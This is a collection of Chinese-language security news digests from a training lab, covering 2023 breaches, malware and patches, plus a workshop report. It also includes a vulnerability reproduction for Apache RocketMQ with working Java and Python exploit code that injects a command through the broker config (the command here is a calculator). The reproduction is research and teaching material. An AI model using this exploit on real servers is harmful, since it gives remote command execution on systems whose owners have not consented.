1、美国的医院计算机系统遭遇网络攻击 https://www.theguardian.com/us-news/2023/aug/04/cyberattack-us-hospitals-california 一场网络攻击扰乱了美国各地医院的计算机系统，迫使多个州的急诊室关闭，救护车被迫改道。黑客攻击导致多个州的医疗设施陷入混乱。在康涅狄格州，曼彻斯特纪念医院和罗克维尔总医院的急诊科周四大部分时间关闭，患者被转移到附近的其他医疗中心。 2、特斯拉的信息娱乐系统可越狱并解锁付费功能 https://www.bleepingcomputer.com/news/security/tesla-infotainment-jailbreak-unlocks-paid-features-extracts-secrets/ 柏林工业大学的研究人员开发了一种方法，可以对所有最新特斯拉车型中使用的基于 AMD 的信息娱乐系统进行越狱，并使其运行他们选择的任何软件。另外，此次黑客攻击还允许研究人员提取特斯拉在其服务网络中用于汽车身份验证的独特硬件绑定 RSA 密钥，以及电压故障以激活特斯拉汽车的座椅加热和“加速提升”等软件锁定功能。业主通常需要付费。 3、微软修补了Power Platform漏洞 https://thehackernews.com/2023/08/microsoft-addresses-critical-power.html 微软近日修补了影响Power Platform 的一个关键安全漏洞，但在此之前它因未能迅速采取行动而受到批评。该漏洞可能导致未经授权访问用于 Power Platform 自定义连接器的自定义代码功能。如果秘密或其他敏感信息嵌入到自定义代码功能中，潜在的影响可能是意外的信息泄露。据称微软已于2023年6月7日发布了初步修复程序，但直到2023年8月2日，该漏洞才被完全堵塞。 4、一对纽约夫妇承认在Bitfinex黑客攻击中洗钱 36 亿美元 https://thehackernews.com/2023/08/nyc-couple-pleads-guilty-to-money.html 一对来自纽约市的已婚夫妇承认了与 2016 年加密货币证券交易所 Bitfinex 遭到黑客攻击有关的洗钱指控，该事件导致约 120,000 枚比特币被盗。一年多前，35 岁的伊利亚·利希滕斯坦 (Ilya Lichtenstein) 和他 33 岁的妻子希瑟·摩根 (Heather Morgan)于 2022 年 2 月被捕，被告持有的约 95,000 件被盗加密资产被没收。这些基金当时的估值为 36 亿美元。此后，美国政府表示已扣押了与此次泄露 5、中国牵头国际标准《网络安全工业互联网平台安全参考模型》正式发布 https://www.freebuf.com/news/374087.html 2023年7月，我国牵头提出的国际标准ISO/IEC 24392：2023《网络安全工业互联网平台安全参考模型》正式发布。该提案于2018年4月提交至ISO/IEC JTC1/SC27，后经研究，于2019年6月正式立项；2023年7月正式发布。我国3名专家担任该国际标准提案的编辑和联合编辑。 6、半数人工智能开源项目引用存在漏洞的软件包 https://www.secrss.com/articles/57396 开源在 AI 技术堆栈中发挥着越来越重要的作用，但大多数项目(52%)引用了存在已知漏洞的易受攻击的依赖项。 7、微软警告大型体育赛事正面临高危网络安全风险 http://www.anquan419.com/knews/24/5681.html 微软发布一份报告，警告大型体育赛事面临的网络风险面正在迅速扩大，基于运动团队、体育联盟以及体育场所等环境中的网络和互联设备的可观数量，这些高价值信息在大规模赛事直播等情况下可能会很容易受到攻击。 8、朝鲜APT入侵俄罗斯导弹工程公司 NPO Mashinostroyeniya https://securityaffairs.com/149263/apt/north-korea-hacked-russian-npo-mashinostroyeniya.html 两个与朝鲜有关联的 APT 组织破坏了俄罗斯大型导弹工程公司 NPO Mashinostroyeniya 的基础设施。 9、一种新的复杂 SkidMap 变体针对不安全的 Redis 服务器 https://securityaffairs.com/149258/malware/skidmap-malware-redis-servers.html 一项新的活动针对 Redis 服务器，这次攻击中使用的恶意软件是 SkidMap 恶意软件的新变种。Skidmap 是趋势科技于 2019 年 9 月检测到的一款针对 Linux 机器的加密挖矿程序。 10、新的“深度学习声学侧信道攻击”破译笔记本按键的准确率高达 95% https://thehackernews.com/2023/08/new-deep-learning-attack-deciphers.html 一组学者设计了一种“基于深度学习的声学旁道攻击”，可用于对附近手机记录的笔记本电脑击键进行分类，准确率高达 95%。研究人员 Joshua Harrison、Ehsan Toreini 和 Maryam Mehrnezhad在上周发表的一项新研究中表示：“当对使用视频会议软件 Zoom 记录的击键进行训练时，准确率达到了 93%，创下了媒体的新纪录。” 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

为深入学习贯彻习近平总书记关于网络强国的战略思想，加强网络安全宣传教育和人才培养，赋能学校打造经验丰富的网安教学师资队伍，全面提升网络安全技能的实战教学水平。2023年7月31日至8月4日，由湖南蚁景科技有限公司主办、广州大学网络空间安全学院协办的“2023网络安全高级研修班”在广州圆满结束。 本次研修班聚焦网安学科实战竞赛，针对CTF-逆向开展技能实训。来自全国各地的网络安全相关专业负责人、学科带头人、专业骨干教师齐聚广州参加本次研修班。同时，还有多名老师通过线上直播方式参与。 开班仪式上，广州大学网络空间安全学院党委书记林焕清为本次研修班致辞，对来自五湖四海的参会老师表达了热烈的欢迎。 广州大学方滨兴院士实验班教研室主任，广州大学网络空间安全学院副院长王乐发表了《“方班”——网络空间安全人才培养创新模式探索与实践议题》主题报告，围绕方滨兴院士设计的“方班”建设理念、目标和体系，详细介绍了“方班”的建设历程，在网安人才培养新模式上所做的探索和实践，重点讲述了方班创新课程对学生熵减、求源、实践和思辨能力的全方位培养，以及方班“授之以渔，掌握方法”的教学特色，为参会老师在特色网安专业建设和人才培养工作方面提供了宝贵的思路和启示。 本次研修班课程聚焦的“CTF-逆向”在网安学科竞赛中的难度相对较高，前期主办方从教学安排、师资配备、课程内容等诸多方面做了最精心的策划与安排，聘请了来自国际知名网安战队，具有多年逆向实战及培训经验，进入2022 DEFCON 总决赛，多次参与国内/国际知名网安赛事命题，并多次获得CTF大赛最高奖的知名讲师担任研修班课程主讲。 实战经验丰富的讲师通过生动的讲解和案例分析，向参会老师介绍了CTF-逆向的基本概念、技术原理和实践方法。参会老师们积极互动，提问发言，营造了良好的研修班学习氛围。通过数天的课程学习，参会老师对 CTF 逆向工程知识有了更全面的了解，并深入实践了CTF逆向的解题实操。 在课后研讨会上，各高校老师分享他们在本次研修班中学到的知识和技能，并结合自己所从事的课程建设和教学改革的实际情况进行探讨。这样的交流促使大家相互启发、借鉴和学习，为各自的教学工作提供新的思路和方法。老师们提出一系列富有见解的问题，也激发了与会者们的思考和讨论。 为了让参会老师更好地掌握所学知识，我们结合授课内容，组织了一次CTF现场体验赛，让参会老师体验真实的CTF攻防，在靶场中进行实际操作和解题，在挑战中获得深入的知识和实践经验，在实战中探索新的思维方式和解题思路。在课程答疑环节，老师们针对课程知识积极踊跃的向讲师提问，与知名国际战队讲师面对面互动交流。 在研修班课程结束后，蚁景科技销售部负责人宋小玲为大家带来了关于蚁景科技公司及产品的分享，得到了老师们的广泛认可。 2023网络安全高级研修班圆满落下帷幕，蚁景科技将持续为各大高校提供全方位的网安人才培养解决方案，感谢老师们对蚁景科技的信任与支持。 关于蚁景科技 01 蚁景网安实验室 蚁景科技旗下在线实验平台——蚁景网安实验室，现已形成成熟的学、训、赛三大体系；全方位覆盖了网络安全领域包括Web安全、渗透测试、CTF网络攻防、信息安全管理等1500+内容。丰富的课件库、快捷方便的教学环境、科学的知识图谱、清晰的学习路径，结合蚁景科技与各大高校开展实习实训的丰富经验，能为院校实习实训工作开展与教师网安教学效率的提升提供有力支持。 02 网安学院 除蚁景网安实验室以外，蚁景网安学院推出的网安实战技能培训课程，紧密贴合网安行业人才市场需求，助力学员在职场竞争中脱颖而出，欢迎更多学子参与进来。

1、美国政府承包商Serco遭遇数据泄露 https://www.bleepingcomputer.com/news/security/us-govt-contractor-serco-discloses-data-breach-after-moveit-attacks/ 跨国外包公司 Serco Group 的美洲分部 Serco Inc 披露了一起数据泄露事件，攻击者从第三方供应商的 MoveIT 托管文件传输 (MFT) 服务器窃取了 10,000 多人的个人信息。这些信息是从其福利管理提供商 CBIZ 的文件传输平台中泄露的。攻击中泄露的个人信息包括以下信息：姓名、美国社会安全号码、出生日期、家庭邮寄地址、Serco个人电子 2、Azure AD跨租户同步功能可被滥用于横向移动 https://www.bleepingcomputer.com/news/security/new-microsoft-azure-ad-cts-feature-can-be-abused-for-lateral-movement/ Microsoft 于 2023 年 6 月推出的新 Azure Active Directory 跨租户同步 (CTS) 功能创建了一个新的潜在攻击面，可能使威胁行为者更容易横向传播到其他 Azure 租户。Microsoft 租户是 Azure Active Directory 中的客户端组织或子组织，它们配置有自己的策略、用户和设置。由于大型组织可能出于 3、研究人员披露Rilide恶意软件的攻击活动 https://www.bleepingcomputer.com/news/security/chrome-malware-rilide-targets-enterprise-users-via-powerpoint-guides/ 研究人员披露Rilide Stealer恶意软件利用Chrome 浏览器扩展程序针对加密用户和企业员工进行网络攻击活动，旨在窃取凭证和加密钱包。Rilide 是基于 Chromium 的浏览器（包括 Chrome、Edge、Brave 和 Opera）的恶意浏览器扩展，最初于 2023 年 4 月发现。首次发现时，Rilide 浏览器扩展程序会冒充合法的 Goo 4、研究人员披露针对Linux系统的恶意软件Reptile https://asec.ahnlab.com/en/55785 研究人员披露Reptile恶意软件，是针对 Linux 系统的开源内核模块 Rootkit，可在 GitHub 上公开获取。Rootkit 是具有隐藏自身或其他恶意软件能力的恶意软件。Reptile恶意软件主要针对文件、进程和网络通信进行隐藏。该恶意软件的隐藏能力不仅包括其自身的内核模块，还包括文件、目录、文件内容、进程和网络流量。与其他通常仅提供隐藏功能的 Rootkit 恶意软件不同，Reptile恶意软件还具有反向shell功能，使攻击者能够轻松控制系统。 5、Mondee旅游公司存在安全漏洞导致数据泄露 https://techcrunch.com/2023/08/02/mondee-data-exposed-credit-cards-flight-itineraries/ Mondee旅游公司发现了一个有安全漏洞的数据库，该数据库泄露了敏感的客户信息，包括详细的航班和酒店行程以及未加密的信用卡号码。数据库在没有密码的情况下暴露在互联网上，使用网络浏览器即可访问其中的敏感数据。大部分数据与Mondee 子公司 TripPro有关，这是一个旅行社平台，数以万计的预订代理和旅游初创公司使用该平台，可以进行自助机票和酒店预订。 6、攻击者冒充NFT开发者窃取加密货币 https://www.ic3.gov/Media/Y2023/PSA230804 美国联邦调查局 (FBI) 今天警告称，诈骗者冒充非同质化代币 (NFT) 开发商，针对 NFT 爱好者进行掠夺，窃取他们的加密货币和 NFT 资产。此次攻击中，攻击者未经授权即可访问 NFT 开发者社交媒体帐户，或创建几乎相同的帐户来推广“独家”NFT 版本。通过这种方式，他们能够以“供应有限”的误导性说法来引诱目标，将促销活动标记为“惊喜”或之前未公开的代币，以诱导错误的紧迫感，并诱骗潜在受害者在没有适当检查的情况下仓促做出决定。受害者点击所提供的链接，则会被重定向到伪装成特定 NFT 项目的网络钓鱼网站 7、研究人员披露CloudflareD在野外的滥用 https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/ 研究人员发现一些攻击者已转向使用防御者可能在其网络中更常用的合法工具，从而降低了传统防病毒、EDR 和其他防御流程检测到的几率。研究人员发现使用的相对较新的合法工具：Cloudflare Tunnel，又称为Cloudflared。Cloudflared 会连接 Cloudflare 的边缘服务器，通过 HTTPS(HTTP2/QUIC) 创建出站连接，其中隧道的控制器使服务或专用网络可通过 Cloudflare 控制台进 8、未修补漏洞的PaperCut服务器面临远程代码执行攻击 https://www.bleepingcomputer.com/news/security/new-papercut-critical-bug-exposes-unpatched-servers-to-rce-attacks/ PaperCut 修复了其 NG/MF 打印管理软件中的一个严重安全漏洞，该漏洞允许未经身份验证的攻击者在未修补的 Windows 服务器上远程执行代码。该漏洞被追踪为CVE-2023-39143，是由研究人员发现的两条路径遍历漏洞造成的，这些漏洞使威胁参与者能够在不需要进行低复杂性攻击的情况下读取、删除和上传受感染系统上的任意文件。用户交互。 9、Clop勒索软件利用torrent以泄露数据 https://www.bleepingcomputer.com/news/security/clop-ransomware-now-uses-torrents-to-leak-data-and-evade-takedowns/ Clop 勒索软件组织再次改变勒索策略，现在使用 torrent 来泄露 MOVEit 攻击中窃取的数据。攻击者已经为 20 名受害者创建了 torrent 。作为这种新勒索方法的一部分，该勒索软件组织建立了一个新的 Tor 站点，提供有关如何使用 torrent 客户端下载泄露数据和 20 名受害者的磁力链接列表的说明。 10、Reptile Rootkit 被用于攻击韩国的 Linux 系统 https://securityaffairs.com/149203/malware/reptile-rootkit-south-korea.html 研究人员观察到威胁行为者正在使用名为 Reptile 的开源 rootkit 来针对韩国的系统进行攻击。 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、新版 Rilide 数据盗窃恶意软件针对Chrome浏览器 网络安全研究人员发现了一种名为Rilide的新版本恶意软件，该恶意软件以基于 Chromium 的网络浏览器为目标，窃取敏感数据并窃取加密货币。该恶意软件具有广泛的功能，可以禁用其他浏览器加载项、收集浏览历史记录和 cookie、收集登录凭据、截取屏幕截图以及注入恶意脚本以从各种加密货币交易所提取资金。 2、研究人员发现可绕过最近修补的严重 Ivanti EPMM 漏洞 https://thehackernews.com/2023/08/researchers-discover-bypass-for.html 网络安全研究人员在某些版本的 Ivanti Endpoint Manager Mobile (EPMM) 中发现了最近修复的被主动利用的漏洞的绕过方法，促使 Ivanti 敦促用户更新到该软件的最新版本。 3、“孟加拉神秘团队”针对印度发起 DDoS 攻击和数据窃取 https://thehackernews.com/2023/08/mysterious-team-bangladesh-targeting.html 自 2022 年 6 月以来，一个名为“孟加拉国神秘团队”的黑客组织与超过 750 起分布式拒绝服务 (DDoS) 攻击和 78 起网站篡改事件有关。总部位于新加坡的网络安全公司 Group-IB 在与《黑客新闻》分享的一份报告中表示：“该组织最常攻击印度和以色列的物流、政府和金融部门组织。” “该组织主要受宗教和政治动机驱动。” 4、OWASP Top 10 for LLM（大型语言模型）1.0发布 https://securityaffairs.com/149124/security/owasp-top-10-for-llm.html OWASP 发布了OWASP Top 10 for LLM（大型语言模型）应用程序项目，该项目提供了影响LLM应用程序的 10 个最关键漏洞的列表。该项目旨在对开发人员、设计师、架构师、经理和组织进行有关部署大型语言模型 (LLM) 时的安全问题的教育。 5、俄罗斯 APT29 通过 Microsoft Teams 进行网络钓鱼攻击 https://securityaffairs.com/149103/apt/apt29-microsoft-teams-phishing-attacks.html 与俄罗斯有关的 APT29 组织针对全球数十个组织和政府机构发起 Microsoft Teams 网络钓鱼攻击。 6、CISA 呼吁紧急关注 UEFI 攻击面 https://www.securityweek.com/cisa-calls-urgent-attention-to-uefi-attack-surfaces/ 美国政府网络安全机构将 UEFI 描述为需要紧急安全关注的“关键攻击面”。 7、数十个 RCE 漏洞影响 Milesight 工业路由器 https://www.securityweek.com/dozens-of-rce-vulnerabilities-impact-milesight-industrial-router/ 思科 Talos 安全研究人员警告称，影响 Milesight UR32L 工业路由器的数十个漏洞可能被利用来执行任意代码或命令。 8、Chrome 115 更新修补 V8 和 WebAssembly 引擎中三个严重漏洞 https://www.securityweek.com/google-awards-60000-for-v8-vulnerabilities-patched-with-chrome-115-update/ 谷歌在其公告中指出，浏览器更新解决了 V8 JavaScript 和 WebAssembly 引擎中的三个高度严重的类型混淆错误，这些漏洞为报告研究人员赢得了超过 60,000 美元的漏洞赏金。 9、研究人员发现伪造的FlipperZero网站 https://www.bleepingcomputer.com/news/security/fake-flipperzero-sites-promise-free-devices-after-completing-offer/ Flipper Zero 是一款适合渗透测试人员和黑客爱好者的便携式多功能网络安全工具。该工具允许研究人员通过支持 RFID 仿真、数字访问密钥克隆、无线电通信、NFC、红外、蓝牙等来修补各种硬件。研究人员发现伪造的FlipperZero网站，此网站声称只需填写报价即可免费提供 Flipper Zero 设备。该网站冒充合法的官方网站，包括使用“版权 2023 - 10、网信办：处理超过百万人个人信息每年至少开展一次合规审计 https://www.freebuf.com/news/373750.html 为指导、规范个人信息保护合规审计活动，根据《中华人民共和国个人信息保护法》等法律法规，国家互联网信息办公室起草了《个人信息保护合规审计管理办法（征求意见稿）》（以下简称《管理办法》），现向社会公开征求意见。管理办法》提出，处理超过100万人个人信息的个人信息处理者，应当每年至少开展一次个人信息保护合规审计；其他个人信息处理者应当每二年至少开展一次个人信息保护合规审计。 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、黑客已利用 CVE-2023-3519在 581 台 Citrix 服务器上安装了后门 https://securityaffairs.com/149094/hacking/citrix-servers-webshells-cve-2023-3519-attacks.html 研究人员警告称，在一场利用 RCE CVE-2023-3519 的持续攻击活动中，数百台 Citrix 服务器已遭到黑客攻击。 2、Salesforce 电子邮件服务中的零日漏洞被 Facebook 钓鱼活动利用 https://securityaffairs.com/149083/hacking/phishing-facebook-campaign-salesforce-zero-day.html 专家发现 Facebook 鱼叉式网络钓鱼活动利用 Salesforce 电子邮件服务中的零日漏洞。 3、Firefox 116 发布了 14 个 CVE 的补丁，修补了9个严重漏洞 https://www.securityweek.com/firefox-116-patches-high-severity-vulnerabilities/ Firefox 116 发布了 14 个 CVE 的补丁，其中包括 9 个高严重性漏洞，其中一些漏洞可能导致远程代码执行或沙箱逃逸。 4、研究人员发现 AWS SSM 代理被滥用为隐蔽远程访问木马 https://thehackernews.com/2023/08/researchers-uncover-aws-ssm-agent.html 网络安全研究人员在 Amazon Web Services (AWS) 中发现了一种新的后利用技术，该技术允许 AWS Systems Manager 代理（SSM 代理）作为远程访问木马在 Windows 和 Linux 环境中运行。 5、因“Vyper”漏洞，加密货币平台数百万美元被盗 https://therecord.media/millions-stolen-in-vyper-crypto-hack 黑客利用加密货币世界广泛使用的编程语言中的漏洞，从多个平台盗取价值数百万美元的加密货币。 6、挪威实体持续遭受利用 Ivanti EPMM 漏洞的攻击 至少自 2023 年 4 月以来，高级持续性威胁 (APT) 攻击者利用最近披露的影响 Ivanti Endpoint Manager Mobile (EPMM) 的严重缺陷作为零日漏洞，针对挪威实体（包括政府网络）发起攻击。 7、研究人员披露SpyNote安卓木马针对欧洲银行客户的攻击活动 https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions 研究人员在2023 年 6 月和 7 月检测到SpyNote安卓木马针对欧洲银行客户进行网络攻击。此恶意软件通过电子邮件网络钓鱼或网络钓鱼活动进行分发，攻击活动是通过远程访问木马 (RAT) 功能和网络钓鱼攻击相结合来执行的。SpyNote也称为 SpyMax，与其他安卓银行木马类似，它需要安卓的可访问权限，以便授予自身其他必要的权限并从受感染的设备收集敏感数据。此软件具有间谍软件和银行欺诈的双重功能。 8、攻击者滥用Google AMP进行网络钓鱼攻击 https://www.bleepingcomputer.com/news/security/threat-actors-abuse-google-amp-for-evasive-phishing-attacks 研究人员发现攻击者滥用 Google Accelerated Mobile Pages (AMP) 绕过电子邮件安全措施并进入企业员工的收件箱。Google AMP 是由 Google 与 30 个合作伙伴共同开发的开源 HTML 框架，旨在提高移动设备上网页内容的加载速度。AMP 页面托管在 Google 的服务器上，其中内容经过简化，并且预加载了一些较重的媒体元素。使用嵌入网络 9、谷歌再次警告将在12月开始删除不活跃的帐户 https://www.bleepingcomputer.com/news/google/google-warns-again-it-will-start-deleting-inactive-accounts-in-december/ 谷歌只会对两年内未使用或登录的帐户强制执行此规则，但会首先通知用户其帐户有资格删除。 10、Everlast被黑客入侵，客户信用卡被盗用 https://cybernews.com/security/everlast-hacked-credit-cards-compromised/ 美国知名拳击装备品牌Everlast最近被一个与世界上最大的网上银行抢劫案有关的网络团伙入侵。Cybernews研究小组发现，客户信用卡数据已被默默浏览至少三周。 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、Konni组织伪造国税局邮件进行网络攻击活动 https://www.genians.co.kr/blog/threat_intelligence_report_konni 研究人员发现了Konni的新的网络攻击活动，该组织为朝鲜背景的APT组织，于2017年首次被披露。主要目的为窃取金融信息，此次活动攻击者伪装成国税局邮件中心发送的通知服务。当国税局有信息通知纳税人时，攻击者将向纳税人的地址发送邮件。典型的是税单或申报通知书等邮件，如果纳税人未能及时查看国税局的邮件，可能会出现欠税情况。攻击者利用这一点，将其作为鱼叉式网络钓鱼攻击的主题。 2、Bahamut组织利用安卓恶意软件进行网络钓鱼活动 https://www.cyfirma.com/outofband/apt-bahamut-targets-individuals-with-android-malware-using-spear-messaging/ 研究人员捕获到针对南亚地区个人的高级安卓恶意软件。该软件归因于Bahamut APT组织。该安卓恶意软件最初被称为“CoverIm”，通过 WhatsApp 发送给受害者，并伪装成名为“SafeChat”的虚拟聊天应用程序。该应用程序的用户界面成功地欺骗用户相信其真实性，从而使威胁行为者能够在受害者意识到该应用程序是假应用程序之前提取所有必要的信息，该恶意软件利用安卓库以提取 3、研究人员发现WikiLoader恶意软件的攻击活动 https://www.proofpoint.com/us/blog/threat-insight/out-sandbox-wikiloader-digs-sophisticated-evasion 研究人员发现WikiLoader新型恶意软件针对意大利的组织发起网络攻击活动。攻击者利用该恶意软件，最终目的是安装名为Ursnif（又名 Gozi）的银行木马、窃取程序和间谍软件。攻击手法为使用包含 Microsoft Excel、Microsoft OneNote 或 PDF 附件的电子邮件作为部署下载程序的诱饵，该下载程序随后用于安装 Ursnif。该恶意软件使用多种机制来逃避检测，并且大概 4、NodeStealer 2.0 接管企业帐户和加密货币钱包 https://securityaffairs.com/149055/malware/nodestealer-2-takes-over-facebook-business-accounts.html 研究人员发现了 NodeStealer 的 Python 变体，旨在接管 Facebook 企业帐户和加密货币钱包。 5、新的 Collide+Power 侧通道攻击影响几乎所有现代 CPU https://www.securityweek.com/nearly-all-modern-cpus-leak-data-to-new-collidepower-side-channel-attack/ 一种可能导致数据泄露的新侧通道攻击方法几乎适用于所有现代 CPU，这种被称为Collide+Power的新攻击，是一种基于软件的通用攻击，适用于采用 Intel、AMD 或 Arm 处理器的设备，适用于任何应用程序和任何类型的数据。芯片制造商正在发布自己的攻击公告，并已分配 CVE-2023-20583 。 6、Stremio 漏洞导致数百万人遭受攻击 https://www.helpnetsecurity.com/2023/08/01/stremio-vulnerability CyFox 研究人员在流行的媒体中心应用程序 Stremio 中发现了 DLL 植入/劫持漏洞，攻击者可以利用该漏洞在受害者的系统上执行代码、窃取信息等。 7、攻击者利用BleedingPipe RCE攻击Minecraft服务器和玩家 https://blog.mmpa.info/posts/bleeding-pipe/ 攻击者利用 Minecraft mod 中的“BleedingPipe”远程代码执行漏洞在服务器和客户端上运行恶意命令，从而控制设备。BleedingPipe是许多 Minecraft mod 中发现的一个漏洞，是由于在Java的“ObjectInputStream”类中错误地使用反序列化在服务器和客户端之间交换网络数据包而导致的。然后，威胁行为者可以使用这些被黑的服务器来利用连接到服务器的玩家使用的相同 Minecraft mod 中的缺陷，从而允许他们在这些设备上安装恶意软件。 8、国内首个《云原生安全配置基线规范》标准正式发布 https://www.secrss.com/articles/57210 本标准中的要求主要包括对Kubernetes主节点API Server、控制管理器、调度器、etcd的安全配置要求，对工作节点kube-proxy、kubelet、工作负载的安全配置要求，以及针对附加项的CNI和网络策略配置的要求。 9、软件公司Ivanti披露安全漏洞，已被积极利用 https://securityaffairs.com/148957/hacking/ivanti-epmm-flaw.html Ivanti 披露了一个影响端点管理器移动版 （EPMM） 的新安全漏洞，跟踪为 CVE-2023-35081（CVSS 分数：7.8），该漏洞在野外被威胁参与者作为漏洞利用链的一部分加以利用。 10、美股上市公司重磅新规！重大网络安全事件需在4天内披露 https://www.secrss.com/articles/57203 美国证券交易委员会（SEC）于26日通过新规，要求上市公司在4天内披露所有可能影响其利润的网络安全违规事件。如果立即披露会带来严重危及国家安全或公共安全，可延迟披露。 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

漏洞简介 RocketMQ 5.1.0及以下版本，在一定条件下，存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露，缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外，攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。 影响版本 5.0.0 <= Apache RocketMQ < 5.1.1 4.0.0 <= Apache RocketMQ < 4.9.6 安全版本 Apache RocketMQ 5.1.1 Apache RocketMQ 4.9.6 漏洞复现 在本地创建 maven 项目 并添加依赖 <dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->        <dependency>            <groupId>org.apache.rocketmq</groupId>            <artifactId>rocketmq-tools</artifactId>            <version>5.1.0</version>        </dependency> </dependencies> 编写漏洞利用代码 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Properties; public class poc1 {    public static void main(String[] args) throws Exception {        // 创建 Properties 对象        Properties props = new Properties();        //修改rocketmqHome配置        props.setProperty("rocketmqHome","-c gnome-calculator test");        props.setProperty("filterServerNums","1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt();        //此处为 namesrv 端口,此端口无需可访问        admin.setNamesrvAddr("192.168.222.130:9876");        admin.start();        // 更新配置⽂件        //此处为 broker 端口，必须可访问        admin.updateBrokerConfig("192.168.222.130:10911", props);        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 漏洞分析 我们看到真正有危险的操作应该是与 10911 进行通信的操作，没有进行身份验证和加密传输，同时带入了命令执行的参数 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能 org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig org/apache/rocketmq/remoting/Configuration.java#update 如果属性名是其内置的，就进行更新操作 后面的一部分就比较清晰了 org/apache/rocketmq/broker/BrokerStartup.java#start org/apache/rocketmq/broker/BrokerController.java#start org/apache/rocketmq/broker/BrokerController.java#startBasicService org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',10911)) # data json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值 head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) ‍ 漏洞修复 移除了命令执行的模块

1、研究人员发现了 P2PInfect 蠕虫使用未知初始访问向量 https://securityaffairs.com/149012/malware/p2pinfect-worm-initial-access-vector.html Palo Alto Networks Unit 42 研究人员发现了一种名为 P2PInfect 的新型点对点 (P2P) 蠕虫病毒，其目标是在 Linux 和 Windows 系统上运行的 Redis 服务器。P2PInfect 能够以运行在 Linux 和 Windows 操作系统上的 Redis 服务器为目标。现在，Cado 安全研究人员报告称，发现了一种针对 Redis 服务器的 P2PInfect 蠕虫新变种，该变 2、WordPress 的 Ninja Forms 插件漏洞影响 90 万个网站 https://securityaffairs.com/148993/security/ninja-forms-plugin-flaws.html WordPress 的 Ninja Forms 插件受到多个漏洞（追踪为 CVE-2023-37979、CVE-2023-38386 和 CVE-2023-38393）的影响，威胁行为者可利用这些漏洞来提升权限并窃取敏感数据。 3、Citrix ShareFile RCE 漏洞 CVE-2023-24489已被在野利用 https://securityaffairs.com/148981/hacking/citrix-sharefile-cve-2023-24489-flaws-attacks.html 研究人员警告说，威胁行为者开始在野外利用 Citrix ShareFile RCE 漏洞 CVE-2023-24489。 4、Patchwork 黑客组织使用 EyeShell 后门针对中国大学和研究机构 https://thehackernews.com/2023/07/patchwork-hackers-target-chinese.html 名为“Patchwork”的黑客组织有关的威胁行为者被发现以中国的大学和研究机构为目标。据KnownSec 404 Team称，该活动需要使用代号为EyeShell的后门。 5、AVRecon 僵尸网络利用被感染的家用路由器提供非法代理服务 https://thehackernews.com/2023/07/avrecon-botnet-leveraging-compromised.html 有关名为AVRecon的僵尸网络的更多细节已经浮出水面，据观察，该僵尸网络利用受感染的小型办公室/家庭办公室 (SOHO) 路由器，作为至少自 2021 年 5 月以来活跃的多年活动的一部分。本月早些时候，Lumen Black Lotus Labs 首次披露了 AVRecon 恶意软件，该恶意软件能够执行额外的命令并窃取受害者的带宽，以提供给其他参与者的非法代理服务。它在规模上也超越了 QakBot，已渗透到全球 20 个国家的 41,0 6、Fruity 木马利用欺骗性软件安装程序传播 Remcos RAT https://thehackernews.com/2023/07/fruity-trojan-uses-deceptive-software.html 威胁行为者正在创建托管木马软件安装程序的虚假网站，以诱骗毫无戒心的用户下载名为 Fruity 的恶意软件下载器，目的是安装 Remcos RAT 等远程木马工具。 7、黑客利用 Bleedingpipe RCE 漏洞攻击 Minecraft 服务器和玩家 https://www.bleepingcomputer.com/news/security/hackers-exploit-bleedingpipe-rce-to-target-minecraft-servers-players/ 黑客正在积极利用 Minecraft mod 